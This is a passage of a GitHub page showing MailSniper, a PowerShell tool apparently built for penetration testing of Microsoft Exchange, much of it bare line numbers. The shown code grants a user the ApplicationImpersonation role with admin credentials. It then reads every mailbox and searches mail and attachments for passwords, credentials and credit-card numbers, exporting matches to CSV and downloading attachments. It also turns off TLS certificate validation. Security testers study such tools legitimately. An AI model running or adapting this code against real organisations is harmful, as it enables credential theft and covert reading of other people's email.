-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathMail_Sniper.ps1
4303 lines (3402 loc) · 645 KB
/
Mail_Sniper.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
function Invoke-GlobalMailSearch{
<#
.SYNOPSIS
This module will connect to a Microsoft Exchange server and grant the "ApplicationImpersonation" role to a specified user. Having the "ApplicationImpersonation" role allows that user to search through other domain user's mailboxes. After this role has been granted the Invoke-GlobalSearchFunction creates a list of all mailboxes in the Exchange database. The module then connects to Exchange Web Services using the impersonation role to gather a number of emails from each mailbox, and ultimately searches through them for specific terms.
MailSniper Function: Invoke-GlobalMailSearch
Author: Beau Bullock (@dafthack)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module will connect to a Microsoft Exchange server and grant the "ApplicationImpersonation" role to a specified user. Having the "ApplicationImpersonation" role allows that user to search through other domain user's mailboxes. After this role has been granted the Invoke-GlobalMailSearch function creates a list of all mailboxes in the Exchange database. The module then connects to Exchange Web Services using the impersonation role to gather a number of emails from each mailbox, and ultimately searches through them for specific terms.
.PARAMETER ImpersonationAccount
Username of the current user account the PowerShell process is running as. This user will be granted the ApplicationImpersonation role on Exchange.
.PARAMETER ExchHostname
The hostname of the Exchange server to connect to.
.PARAMETER AdminUserName
The username of an Exchange administrator (i.e. member of "Exchange Organization Administrators" or "Organization Management" group) including the domain (i.e. domain\adminusername).
.PARAMETER AdminPassword
The Password to the Exchange administrator (i.e. member of "Exchange Organization Administrators" or "Organization Management" group) account specified with AdminUserName.
.PARAMETER AutoDiscoverEmail
A valid email address that will be used to autodiscover where the Exchange server is located.
.PARAMETER MailsPerUser
The total number of emails to return for each mailbox.
.PARAMETER Terms
Certain terms to search through each email subject and body for. By default the script looks for "*password*","*creds*","*credentials*"
.PARAMETER OutputCsv
Outputs the results of the search to a CSV file.
.PARAMETER ExchangeVersion
In order to communicate with Exchange Web Services the correct version of Microsoft Exchange Server must be specified. By default this script tries "Exchange2010". Additional options to try are Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1.
.PARAMETER EmailList
A text file listing email addresses to search (one per line).
.PARAMETER Folder
The folder of each mailbox to search. By default the script only searches the "Inbox" folder. By specifying 'all' for the Folder option all of the folders including subfolders of the specified mailbox will be searched.
.PARAMETER Regex
The regex parameter allows for the use of regular expressions when doing searches. This will override the -Terms flag.
.PARAMETER CheckAttachments
If the CheckAttachments option is added MailSniper will attempt to search through the contents of email attachements in addition to the default body/subject. These attachments can be downloaded by specifying the -DownloadDir option. It only searches attachments that are of extension .txt, .htm, .pdf, .ps1, .doc, .xls, .bat, and .msg currently.
.PARAMETER DownloadDir
When the CheckAttachments option finds attachments that are matches to the search terms the files can be downloaded to a specific location using the -DownloadDir option.
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -ExchHostname Exch01 -OutputCsv global-email-search.csv
Description
-----------
This command will connect to the Exchange server located at 'Exch01' and prompt for administrative credentials. Once administrative credentials have been entered a PS remoting session is setup to the Exchange server where the ApplicationImpersonation role is then granted to the "current-username" user. A list of all email addresses in the domain is then gathered, followed by a connection to Exchange Web Services as "current-username" where by default 100 of the latest emails from each mailbox will be searched through for the terms "*pass*","*creds*","*credentials*" and output to a CSV called global-email-search.csv.
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -AutoDiscoverEmail [email protected] -MailsPerUser 2000 -Terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*"
Description
-----------
This command will connect to the Exchange server autodiscovered from the email address entered, and prompt for administrative credentials. Once administrative credentials have been entered a PS remoting session is setup to the Exchange server where the ApplicationImpersonation role is then granted to the "current-username" user. A list of all email addresses in the domain is then gathered, followed by a connection to Exchange Web Services as "current-username" where 2000 of the latest emails from each mailbox will be searched through for the terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*".
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -ExchHostname Exch01 -AdminUserName domain\exchangeadminuser -AdminPassword Summer123 -ExchangeVersion Exchange2010 -OutputCsv global-email-search.csv
Description
-----------
This command will connect to the Exchange server located at 'Exch01' and use the Exchange admin username and password specified in the command line. A PS remoting session is setup to the Exchange server where the ApplicationImpersonation role is then granted to the "current-username" user. A list of all email addresses in the domain is then gathered, followed by a connection to Exchange Web Services using an Exchange Version of Exchange2010 as "current-username" where by default 100 of the latest emails from each mailbox will be searched through for the terms "*pass*","*creds*","*credentials*" and output to a CSV called global-email-search.csv.
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -AutoDiscoverEmail [email protected] -Folder all
Description
-----------
This command will connect to the Exchange server autodiscovered from the email address entered, and prompt for administrative credentials. Once administrative credentials have been entered a PS remoting session is setup to the Exchange server where the ApplicationImpersonation role is then granted to the "current-username" user. A list of all email addresses in the domain is then gathered, followed by a connection to Exchange Web Services as "current-username" where 100 of the latest emails from each folder including subfolders in each mailbox will be searched through for the terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*".
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -AutoDiscoverEmail [email protected] -Regex '.*3[47][0-9]{13}.*|.*(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}.*|.*4[0-9]{12}(?:[0-9]{3}).*'
Description
-----------
This command will utilize a Regex search instead of the standard Terms functionality. Specifically, the regular expression in the example above will attempt to match on valid VISA, Mastercard, and American Express credit card numbers in the body and subject's of emails.
.EXAMPLE
C:\PS> Invoke-GlobalMailSearch -ImpersonationAccount current-username -AutoDiscoverEmail [email protected] -CheckAttachments -DownloadDir C:\temp
Description
-----------
This command will search through all of the attachments to emails as well as the default body/subject for specific terms and download any attachments found to the C:\temp directory.
#>
Param
(
[Parameter(Position = 0, Mandatory = $true)]
[string]
$ImpersonationAccount = "",
[Parameter(Position = 1, Mandatory = $false)]
[string]
$AutoDiscoverEmail = "",
[Parameter(Position = 2, Mandatory = $false)]
[system.URI]
$ExchHostname = "",
[Parameter(Position = 3, Mandatory = $false)]
[string]
$AdminUserName = "",
[Parameter(Position = 4, Mandatory = $false)]
[string]
$AdminPassword = "",
[Parameter(Position = 5, Mandatory = $False)]
[string[]]$Terms = ("*password*","*creds*","*credentials*"),
[Parameter(Position = 6, Mandatory = $False)]
[int]
$MailsPerUser = 100,
[Parameter(Position = 7, Mandatory = $False)]
[string]
$OutputCsv = "",
[Parameter(Position = 8, Mandatory = $False)]
[string]
$ExchangeVersion = "Exchange2010",
[Parameter(Position = 9, Mandatory = $False)]
[string]
$EmailList = "",
[Parameter(Position = 10, Mandatory = $False)]
[string]
$Folder = "Inbox",
[Parameter(Position = 11, Mandatory = $False)]
[string]
$Regex = '',
[Parameter(Position = 12, Mandatory = $False)]
[switch]
$CheckAttachments,
[Parameter(Position = 13, Mandatory = $False)]
[string]
$DownloadDir = ""
)
#Check for a method of connecting to the Exchange Server
if (($ExchHostname -ne "") -Or ($AutoDiscoverEmail -ne ""))
{
Write-Output ""
}
else
{
Write-Output "[*] Either the option 'ExchHostname' or 'AutoDiscoverEmail' must be entered!"
break
}
#Running the LoadEWSDLL function to load the required Exchange Web Services dll
LoadEWSDLL
#The specific version of Exchange must be specified
Write-Output "[*] Trying Exchange version $ExchangeVersion"
$ServiceExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::$ExchangeVersion
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ServiceExchangeVersion)
#Using current user's credentials to connect to EWS
$service.UseDefaultCredentials = $true
## Choose to ignore any SSL Warning issues caused by Self Signed Certificates
## Code From http://poshcode.org/624
## Create a compilation environment
$Provider=New-Object Microsoft.CSharp.CSharpCodeProvider
$Compiler=$Provider.CreateCompiler()
$Params=New-Object System.CodeDom.Compiler.CompilerParameters
$Params.GenerateExecutable=$False
$Params.GenerateInMemory=$True
$Params.IncludeDebugInformation=$False
$Params.ReferencedAssemblies.Add("System.DLL") > $null
$TASource=@'
namespace Local.ToolkitExtensions.Net.CertificatePolicy {
public class TrustAll : System.Net.ICertificatePolicy {
public TrustAll() {
}
public bool CheckValidationResult(System.Net.ServicePoint sp,
System.Security.Cryptography.X509Certificates.X509Certificate cert,
System.Net.WebRequest req, int problem) {
return true;
}
}
}
'@
$TAResults=$Provider.CompileAssemblyFromSource($Params,$TASource)
$TAAssembly=$TAResults.CompiledAssembly
## We now create an instance of the TrustAll and attach it to the ServicePointManager
$TrustAll=$TAAssembly.CreateInstance("Local.ToolkitExtensions.Net.CertificatePolicy.TrustAll")
[System.Net.ServicePointManager]::CertificatePolicy=$TrustAll
## end code from http://poshcode.org/624
#Connect to remote Exchange Server and add Impersonation Role to a user account
#Set the Exchange URI for the PS-Remoting session
If($AutoDiscoverEmail -ne "")
{
("[*] Autodiscovering email server for " + $AutoDiscoverEmail + "...")
$service.AutoDiscoverUrl($AutoDiscoverEmail, {$true})
$ExchUri = New-Object System.Uri(("http://" + $service.Url.Host + "/PowerShell"))
}
else
{
$ExchUri = New-Object System.Uri(("http://" + $ExchHostname + "/PowerShell/"))
}
#If the Exchange admin credentials were passed to the command line use those else prompt for Exchange admin credentials.
if ($AdminPassword -ne "")
{
$password = $AdminPassword | ConvertTo-SecureString -asPlainText -Force
$Login = New-Object System.Management.Automation.PSCredential($AdminUserName,$password)
}
else
{
Write-Host "[*] Enter Exchange admin credentials to add your user to the impersonation role"
$Login = Get-Credential
}
#PowerShell Remoting to Remote Exchange Server, Import Exchange Management Shell Tools
try
{
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchUri -Authentication Kerberos -Credential $Login -ErrorAction Stop -verbose:$false
}
catch
{
$ErrorMessage = $_.Exception.Message
if ($ErrorMessage -like "*Logon failure*")
{
Write-Host -foregroundcolor "red" "[*] ERROR: Logon failure. Ensure you have entered the correct credentials including the domain (i.e domain\username)."
break
}
Write-Host -foregroundcolor "red" "$ErrorMessage"
break
}
if($AutoDiscoverEmail -ne "")
{
Write-Output ("[*] Attempting to establish a PowerShell session to http://" + $service.Url.Host + "/PowerShell with provided credentials.")
try
{
Import-PSSession $Session -DisableNameChecking -AllowClobber -verbose:$false | Out-Null
}
catch
{
Write-host -foregroundcolor "red" ("[*] ERROR: Failed to connect to Exchange server at " + $service.Url.Host + ". Check server name.")
break
}
}
else
{
Write-Output ("[*] Attempting to establish a PowerShell session to http://" + $ExchHostname + "/PowerShell with provided credentials.")
try
{
Import-PSSession $Session -DisableNameChecking -AllowClobber -verbose:$false | Out-Null
}
catch
{
Write-Host -foregroundcolor "red" "[*] ERROR: Failed to connect to Exchange server at $ExchHostname. Check server name."
break
}
}
#Allow user to impersonate other users
Write-Output "[*] Now granting the $ImpersonationAccount user ApplicationImpersonation rights!"
$ImpersonationAssignmentName = -join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_})
New-ManagementRoleAssignment -Name:$ImpersonationAssignmentName -Role:ApplicationImpersonation -User:$ImpersonationAccount | Out-Null
#Get a list of all mailboxes
if($EmailList -ne "")
{
$AllMailboxes = Get-Content -Path $EmailList
Write-Host "[*] The total number of mailboxes discovered is: " $AllMailboxes.count
}
else
{
$SMTPAddresses = Get-Mailbox -ResultSize unlimited | Select Name -ExpandProperty PrimarySmtpAddress
$AllMailboxes = $SMTPAddresses -replace ".*:"
Write-Host "[*] The total number of mailboxes discovered is: " $AllMailboxes.count
}
#Set the Exchange Web Services URL
if ($ExchHostname -ne "")
{
("[*] Using EWS URL " + "https://" + $ExchHostname + "/EWS/Exchange.asmx")
$service.Url = new-object System.Uri(("https://" + $ExchHostname + "/EWS/Exchange.asmx"))
}
else
{
("[*] Using EWS URL " + "https://" + $service.Url.Host + "/EWS/Exchange.asmx")
$service.AutoDiscoverUrl($AutoDiscoverEmail, {$true})
}
Write-Host -foregroundcolor "yellow" "`r`n[*] Now connecting to EWS to search the mailboxes!`r`n"
#Search function searches through each mailbox one at a time
ForEach($Mailbox in $AllMailboxes)
{
$i++
Write-Host -NoNewLine ("[" + $i + "/" + $AllMailboxes.count + "]") -foregroundcolor "yellow"; Write-Output (" Using " + $ImpersonationAccount + " to impersonate " + $Mailbox)
$service.ImpersonatedUserId = New-Object Microsoft.Exchange.WebServices.Data.ImpersonatedUserId([Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress,$Mailbox );
$rootFolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,'MsgFolderRoot')
$folderView = [Microsoft.Exchange.WebServices.Data.FolderView]100
$folderView.Traversal='Deep'
$rootFolder.Load()
if ($Folder -ne "all")
{
$CustomFolderObj = $rootFolder.FindFolders($folderView) | Where-Object { $_.DisplayName -eq $Folder }
}
else
{
$CustomFolderObj = $rootFolder.FindFolders($folderView)
}
$PostSearchList = @()
Foreach($foldername in $CustomFolderObj)
{
Write-Output "[***] Found folder: $($foldername.DisplayName)"
try
{
$Inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$foldername.Id)
}
catch
{
$ErrorMessage = $_.Exception.Message
if ($ErrorMessage -like "*Exchange Server doesn't support the requested version.*")
{
Write-Output "[*] ERROR: The connection to Exchange failed using Exchange Version $ExchangeVersion."
Write-Output "[*] Try setting the -ExchangeVersion flag to the Exchange version of the server."
Write-Output "[*] Some options to try: Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1."
break
}
}
$PropertySet = New-Object Microsoft.Exchange.WebServices.Data.PropertySet([Microsoft.Exchange.WebServices.Data.BasePropertySet]::FirstClassProperties)
$PropertySet.RequestedBodyType = [Microsoft.Exchange.WebServices.Data.BodyType]::Text
try
{
$mails = $Inbox.FindItems($MailsPerUser)
}
catch [Exception]{
Write-Host -foregroundcolor "red" ("[*] Warning: " + $Mailbox + " does not appear to have a mailbox.")
continue
}
if ($regex -eq "")
{
Write-Output ("[*] Now searching mailbox: $Mailbox for the terms $Terms.")
}
else
{
Write-Output ("[*] Now searching the mailbox: $Mailbox with the supplied regular expression.")
}
foreach ($item in $mails.Items)
{
$item.Load($PropertySet)
if ($Regex -eq "")
{
foreach($specificterm in $Terms)
{
if ($item.Body.Text -like $specificterm)
{
$PostSearchList += $item
}
elseif ($item.Subject -like $specificterm)
{
$PostSearchList += $item
}
}
}
else
{
foreach($regularexpresion in $Regex)
{
if ($item.Body.Text -match $regularexpresion)
{
$PostSearchList += $item
}
elseif ($item.Subject -match $regularexpresion)
{
$PostSearchList += $item
}
}
}
if ($CheckAttachments)
{
foreach($attachment in $item.Attachments)
{
if($attachment -is [Microsoft.Exchange.WebServices.Data.FileAttachment])
{
if($attachment.Name.Contains(".txt") -Or $attachment.Name.Contains(".htm") -Or $attachment.Name.Contains(".pdf") -Or $attachment.Name.Contains(".ps1") -Or $attachment.Name.Contains(".doc") -Or $attachment.Name.Contains(".xls") -Or $attachment.Name.Contains(".bat") -Or $attachment.Name.Contains(".msg"))
{
$attachment.Load() | Out-Null
$plaintext = [System.Text.Encoding]::ASCII.GetString($attachment.Content)
if ($Regex -eq "")
{
foreach($specificterm in $Terms)
{
if ($plaintext -like $specificterm)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + "-" + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
elseif ($plaintext -like $specificterm)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
}
}
else
{
foreach($regularexpresion in $Regex)
{
if ($plaintext -match $regularexpresion)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
elseif ($plaintext -match $regularexpresion)
{
Write-Output ("Found attachment " + $attachment.Name)
$PostSearchList += $item
if ($DownloadDir -ne "")
{
$prefix = Get-Random
$DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create)
$DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length)
$DownloadFile.Close()
}
}
}
}
}
}
}
}
}
}
if ($OutputCsv -ne "")
{
$PostSearchList | %{ $_.Body = $_.Body -replace "`r`n",'\n' -replace ",",','}
$PostSearchList | Select-Object Sender,ReceivedBy,Subject,Body | Export-Csv "temp-$OutputCsv" -encoding "UTF8"
if ("temp-$OutputCsv")
{
Import-Csv "temp-$OutputCsv" | ConvertTo-Csv -NoTypeInformation | Select-Object -Skip 1 | Out-File -Encoding ascii -Append $OutputCsv
Remove-Item "temp-$OutputCsv"
}
}
else
{
$PostSearchList | ft -Property Sender,ReceivedBy,Subject,Body | Out-String
}
}
if ($OutputCsv -ne "")
{
$filedata = Import-Csv $OutputCsv -Header Sender , ReceivedBy , Subject , Body
$filedata | Export-Csv $OutputCsv -NoTypeInformation
Write-Host -foregroundcolor "yellow" "`r`n[*] Results have been output to $OutputCsv"
}
#Remove User from impersonation role
Write-Output "`r`n[*] Removing ApplicationImpersonation role from $ImpersonationAccount."
Get-ManagementRoleAssignment -RoleAssignee $ImpersonationAccount -Role ApplicationImpersonation -RoleAssigneeType user | Remove-ManagementRoleAssignment -confirm:$fals
}
function Invoke-SelfSearch{
<#
.SYNOPSIS
This module will connect to a Microsoft Exchange server using Exchange Web Services to gather a number of emails from the current user's mailbox. It then searches through them for specific terms.
MailSniper Function: Invoke-SelfSearch
Author: Beau Bullock (@dafthack)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
This module will connect to a Microsoft Exchange server using Exchange Web Services to gather a number of emails from the current user's mailbox. It then searches through them for specific terms.
.PARAMETER ExchHostname
The hostname of the Exchange server to connect to.
.PARAMETER Mailbox
Email address of the current user the PowerShell process is running as.
.PARAMETER Terms
Certain terms to search through each email subject and body for. By default the script looks for "*password*","*creds*","*credentials*"
.PARAMETER ExchangeVersion
In order to communicate with Exchange Web Services the correct version of Microsoft Exchange Server must be specified. By default this script tries "Exchange2010". Additional options to try are Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1.
.PARAMETER OutputCsv
Outputs the results of the search to a CSV file.
.PARAMETER MailsPerUser
The total number of emails to return for each mailbox.
.PARAMETER Remote
A switch for performing the search remotely across the Internet against a system hosting EWS. Instead of utilizing the current user's credentials if the -Remote option is added a new credential box will pop up for accessing the remote EWS service.
.PARAMETER Folder
The folder of each mailbox to search. By default the script only searches the "Inbox" folder. By specifying 'all' for the Folder option all of the folders including subfolders of the specified mailbox will be searched.
.PARAMETER Regex
The regex parameter allows for the use of regular expressions when doing searches. This will override the -Terms flag.
.PARAMETER CheckAttachments
If the CheckAttachments option is added MailSniper will attempt to search through the contents of email attachements in addition to the default body/subject. These attachments can be downloaded by specifying the -DownloadDir option. It only searches attachments that are of extension .txt, .htm, .pdf, .ps1, .doc, .xls, .bat, and .msg currently.
.PARAMETER DownloadDir
When the CheckAttachments option finds attachments that are matches to the search terms the files can be downloaded to a specific location using the -DownloadDir option.
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox [email protected]
Description
-----------
This command will connect to the Exchange server autodiscovered from the email address entered using Exchange Web Services where by default 100 of the latest emails from the "Mailbox" will be searched through for the terms "*pass*","*creds*","*credentials*".
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox [email protected] -ExchHostname -MailsPerUser 2000 -Terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*"
Description
-----------
This command will connect to the Exchange server entered as "ExchHostname" followed by a connection to Exchange Web Services as where 2000 of the latest emails from the "Mailbox" will be searched through for the terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*".
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox [email protected] -ExchHostname mail.domain.com -OutputCsv mails.csv -Remote
Description
-----------
This command will connect to the remote Exchange server specified with -ExchHostname using Exchange Web Services where by default 100 of the latest emails from the "Mailbox" will be searched through for the terms "*pass*","*creds*","*credentials*". Since the -Remote flag was passed a new credential box will popup asking for the user's credentials to authenticate to the remote EWS. The username should be the user's domain login (i.e. domain\username) but depending on how internal UPN's were setup it might accept the user's email address (i.e. [email protected]).
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox [email protected] -Regex '.*3[47][0-9]{13}.*|.*(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}.*|.*4[0-9]{12}(?:[0-9]{3}).*'
Description
-----------
This command will utilize a Regex search instead of the standard Terms functionality. Specifically, the regular expression in the example above will attempt to match on valid VISA, Mastercard, and American Express credit card numbers in the body and subject's of emails.
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox [email protected] -Folder all
Description
-----------
This command will connect to the Exchange server autodiscovered from the email address entered using Exchange Web Services where by default 100 of the latest emails in all of the folders including subfolders from the "Mailbox" will be searched through for the terms "*pass*","*creds*","*credentials*".
.EXAMPLE
C:\PS> Invoke-SelfSearch -Mailbox [email protected] -CheckAttachments -DownloadDir C:\temp
Description
-----------
This command will search through all of the attachments to emails as well as the default body/subject for specific terms and download any attachments found to the C:\temp directory.
#>
Param(
[Parameter(Position = 0, Mandatory = $true)]
[string]
$Mailbox = "",
[Parameter(Position = 1, Mandatory = $false)]
[system.URI]
$ExchHostname = "",
[Parameter(Position = 2, Mandatory = $False)]
[string[]]$Terms = ("*password*","*creds*","*credentials*"),
[Parameter(Position = 3, Mandatory = $False)]
[int]
$MailsPerUser = 100,
[Parameter(Position = 4, Mandatory = $False)]
[string]
$OutputCsv = "",
[Parameter(Position = 5, Mandatory = $False)]
[string]
$ExchangeVersion = "Exchange2010",
[Parameter(Position = 6, Mandatory = $False)]
[switch]
$Remote,
[Parameter(Position = 7, Mandatory = $False)]
[string]
$Folder = 'Inbox',
[Parameter(Position = 8, Mandatory = $False)]
[string]
$Regex = '',
[Parameter(Position = 9, Mandatory = $False)]
[switch]
$CheckAttachments,
[Parameter(Position = 10, Mandatory = $False)]
[string]
$DownloadDir = "",
[Parameter(Position = 11, Mandatory = $False)]
[switch]
$OtherUserMailbox
)
#Running the LoadEWSDLL function to load the required Exchange Web Services dll
LoadEWSDLL
Write-Output "[*] Trying Exchange version $ExchangeVersion"
$ServiceExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::$ExchangeVersion
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ServiceExchangeVersion)
#If the -Remote flag was passed prompt for the user's domain credentials.
if ($Remote)
{
$remotecred = Get-Credential
$service.UseDefaultCredentials = $false
$service.Credentials = $remotecred.GetNetworkCredential()
}
else
{
#Using current user's credentials to connect to EWS
$service.UseDefaultCredentials = $true
}
## Choose to ignore any SSL Warning issues caused by Self Signed Certificates
## Code From http://poshcode.org/624
## Create a compilation environment
$Provider=New-Object Microsoft.CSharp.CSharpCodeProvider
$Compiler=$Provider.CreateCompiler()
$Params=New-Object System.CodeDom.Compiler.CompilerParameters
$Params.GenerateExecutable=$False
$Params.GenerateInMemory=$True
$Params.IncludeDebugInformation=$False
$Params.ReferencedAssemblies.Add("System.DLL") > $null
$TASource=@'
namespace Local.ToolkitExtensions.Net.CertificatePolicy{
public class TrustAll : System.Net.ICertificatePolicy {
public TrustAll() {
}
public bool CheckValidationResult(System.Net.ServicePoint sp,
System.Security.Cryptography.X509Certificates.X509Certificate cert,
System.Net.WebRequest req, int problem) {
return true;
}
}
}
'@
$TAResults=$Provider.CompileAssemblyFromSource($Params,$TASource)
$TAAssembly=$TAResults.CompiledAssembly
## We now create an instance of the TrustAll and attach it to the ServicePointManager
$TrustAll=$TAAssembly.CreateInstance("Local.ToolkitExtensions.Net.CertificatePolicy.TrustAll")
[System.Net.ServicePointManager]::CertificatePolicy=$TrustAll
## end code from http://poshcode.org/624
if ($ExchHostname -ne "")
{
("[*] Using EWS URL " + "https://" + $ExchHostname + "/EWS/Exchange.asmx")
$service.Url = new-object System.Uri(("https://" + $ExchHostname + "/EWS/Exchange.asmx"))
}
else
{
("[*] Autodiscovering email server for " + $Mailbox + "...")
$service.AutoDiscoverUrl($Mailbox, {$true})
}
if($OtherUserMailbox)
{
$msgfolderroot = New-Object Microsoft.Exchange.WebServices.Data.FolderId([Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox,$Mailbox)
$Inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$msgfolderroot)
$ItemView = New-Object Microsoft.Exchange.WebServices.Data.ItemView(1)
$Item = $service.FindItems($Inbox.Id,$ItemView)
}
else
{
$msgfolderroot = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::MsgFolderRoot
$mbx = New-Object Microsoft.Exchange.WebServices.Data.Mailbox( $Mailbox )
$FolderId = New-Object Microsoft.Exchange.WebServices.Data.FolderId( $msgfolderroot, $mbx)
$rootFolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$FolderId)
